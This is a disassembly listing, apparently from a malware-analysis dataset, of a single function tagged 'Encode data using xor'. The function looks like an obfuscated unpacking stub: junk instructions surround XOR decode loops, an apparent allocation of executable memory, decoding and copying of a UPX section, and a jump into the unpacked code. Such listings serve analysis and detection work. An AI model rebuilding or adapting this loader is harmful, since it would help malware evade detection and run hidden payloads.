Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x86ba1a79
sub esi, 0xe9fefd3b
and esi, ebx
popal
mov ebx, esi
or ebx, esi
and ebx, ebx
mov ebx, 0
mov esi, ecx
mov edx, eax
mov eax, 0xfea2551d
mov edi, esi
sub eax, 0x48ede72d
or edx, edx
sub eax, edx
mov ecx, edi
sub eax, 1
mov edx, 0xd600dfd3
dec edx
inc ebx
and edx, eax
add edx, 1
cmp ebx, 0x100f3bb
jne 0x47afd2
or edx, edx
mov edx, eax
cmp ebx, 0x100f3bb
je 0x47b01d
mov edx, 0
mov eax, dword [edx]
dec edx
or eax, eax
add esi, ebx
sub ebx, 0x520e3afc
mov eax, 0x47ada2
and ecx, esi
or ecx, ebx
mov edi, 0x47af96
inc ebx
not esi
mov edx, dword [eax]
mov ecx, ebx
dec ebx
and edx, 0xff
or ecx, esi
sub ebx, 0xc68a83c9
xor dword [edi], edx
dec ebx
dec ecx
sub esi, ebx
inc edi
or esi, ebx
inc esi
sub esi, ecx
add eax, 1
mov esi, 0xbf69c5ed
mov ecx, 0x551f4aaa
sub ebx, esi
cmp edi, entry0
jl 0x47b039
mov ebx, 0x20d1f9f3
add esi, esi
add ecx, ecx
and ecx, ecx
add ebx, 0x1b51979c
and ebx, esi
add esi, 0xb8f608ad
mov edx, ecx
mov edi, 0x47af9a
sub ebx, edx
not edx
not ecx
mov edi, dword [edi]
add ecx, ecx
mov edx, ebx
mov edi, dword [edi]
sub esi, ebx
inc edx
dec ecx
push edi
not esi
sub ecx, ebx
mov edi, 0x47af96
add esi, edx
or ebx, ebx
mov edi, dword [edi]
add ebx, ebx
and ecx, esi
inc ebx
mov edi, dword [edi]
and esi, edx
sub ebx, 0xfff394f6
add esi, 0x4ee82320
push 0x47af9e
and edx, ecx
mov esi, ebx
sub esi, 0xe206a094
call edi
inc esi
add edx, 0xc4663dc1
pop edi
sub ecx, edx
add edx, 0x7b6b5be9
push 0x47afab
add edx, 1
sub esi, edx
and edx, esi
push eax
mov esi, ecx
sub ecx, ebx
or esi, edx
call edi
or edx, esi
inc ebx
push 0x40
sub ecx, 0x100a72ae
add edx, ebx
add edx, ecx
sub esp, 4
mov dword [esp], 0x3000
add ecx, 0x98488ff4
and esi, esi
push 0x20000d1a
inc ebx
and edx, ecx
push 0
or ecx, edx
and esi, esi
call eax
or esi, edx
add ecx, 0x3bd69dae
add eax, 0x20000c54
dec edx
mov ecx, esi
sub ecx, 0x24dea522
mov edi, 0xd30f42ec
dec edx
mov ebx, 0xc1104a59
inc ebx
mov dword [eax], edi
add edx, ecx
sub ebx, 0x7e1dd6e8
inc ecx
mov edi, dword [eax]
sub edx, 0x923ba9e4
not ebx
cmp edi, 0xd30f42ec
je 0x47b184
mov ebx, 0
mov dword [ebx], eax
sub edx, 0x5c95826c
mov edx, ebx
sub edx, ebx
and ebx, ecx
and ebx, edx
add esi, 0x8b566cba
and ebx, ebx
mov eax, section.UPX1
inc ebx
add ebx, 1
mov ebx, 0x1fd29620
mov edx, 0x47ada1
sub ebx, esi
mov ebx, esi
dec ebx
mov ecx, 0
mov esi, 0x449f7e
or esi, ebx
sub esi, 1
mov edi, 0x47ada2
mov esi, 0xd8d433dd
dec ebx
lea edi, [ecx + edi]
add ebx, 0x9eb5117d
sub esi, 0x113da046
mov edi, dword [edi]
mov ebx, esi
dec esi
not esi
and edi, 0xff
not ebx
add ebx, 0x7b6bbcb5
inc ecx
or ebx, esi
or ebx, esi
cmp ecx, 0x1f4
jne 0x47b208
mov ecx, 0
dec esi
mov esi, 0x77c4448c
mov esi, ebx
sub ebx, 1
inc esi
sub esi, 0x7d8c65d
xor dword [eax], edi
inc esi
add ebx, esi
add eax, 2
add esi, esi
dec ebx
add ebx, ebx
cmp eax, edx
jl 0x47b1c7
add ebx, ebx
add esi, 0x607e9a3
and ebx, esi
mov ebx, 0xa9c9479
inc ebx
mov esi, section.UPX1
and edx, edx
add edi, 0xe909e20c
mov ecx, section.UPX1
inc edx
add edi, edx
mov ebx, 0x47ada1
mov edx, edi
inc edx
sub edi, 1
mov eax, 0
not edx
not edi
mov al, byte [ecx]
add edx, edx
dec edi
not edx
mov byte [esi], al
sub edx, 0x21707eaa
add edi, 0x28e02126
inc esi
mov edi, 0xa331384e
mov edx, 0xf184d911
add ecx, 2
mov edi, 0x41c062e8
add edi, 0xb54e09ae
cmp ecx, ebx
jle 0x47b271
sub edi, edx
mov edx, 0x5e40466b
not edx
sub esi, ebx
add esi, 1
push 0x45e6a0
sub ebx, 0x48e5388d
add ebx, 0x41d7d577
add ebx, ebx
ret